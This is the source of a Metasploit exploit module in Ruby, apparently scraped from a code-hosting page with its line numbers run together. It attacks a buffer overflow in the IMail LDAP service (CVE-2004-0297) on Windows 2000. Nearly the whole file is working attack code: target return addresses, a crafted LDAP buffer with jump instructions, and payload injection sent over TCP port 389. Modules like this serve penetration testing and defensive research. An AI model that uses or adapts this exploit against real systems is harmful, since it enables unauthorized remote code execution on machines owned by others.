Path: blob/master/modules/exploits/windows/ldap/imail_thc.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'IMail LDAP Service Buffer Overflow',15'Description' => %q{16This exploits a buffer overflow in the LDAP service that is17part of the IMail product. This module was tested against18version 7.10 and 8.5, both running on Windows 2000.19},20'Author' => [ 'hdm' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2004-0297'],24[ 'OSVDB', '3984'],25[ 'BID', '9682'],26[ 'URL', 'http://web.archive.org/web/20060110155821/http://secunia.com:80/advisories/10880/'],27],28'Privileged' => false,29'Payload' => {30'Space' => 1024,31'BadChars' => "\x00\x0a\x0d\x20",32},33'Platform' => 'win',34'Targets' => [35["Windows 2000 English", { 'Ret' => 0x75023386 }],36["Windows 2000 IMail 8.x", { 'Ret' => 0x1002a619 }],37],38'DisclosureDate' => '2004-02-17',39'DefaultTarget' => 0,40'Notes' => {41'Reliability' => UNKNOWN_RELIABILITY,42'Stability' => UNKNOWN_STABILITY,43'SideEffects' => UNKNOWN_SIDE_EFFECTS44}45)46)4748register_options(49[50Opt::RPORT(389)51]52)53end5455def exploit56connect5758buf = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20"59buf << "\xcc" * 50006061# Universal exploit, targets 6.x, 7.x, and 8.x at once ;)62# Thanks for johnny cyberpunk for 6/7 vs 8 diffs6364buf[77, 4] = "\xeb\x06"65buf[81, 4] = [target.ret].pack('V') # 6.x, 7.x66buf[85, 4] = "\xeb\x06"67buf[89, 4] = [target.ret].pack('V') # 8.x68buf[93, payload.encoded.length] = payload.encoded6970sock.put(buf)7172handler73disconnect74end75end767778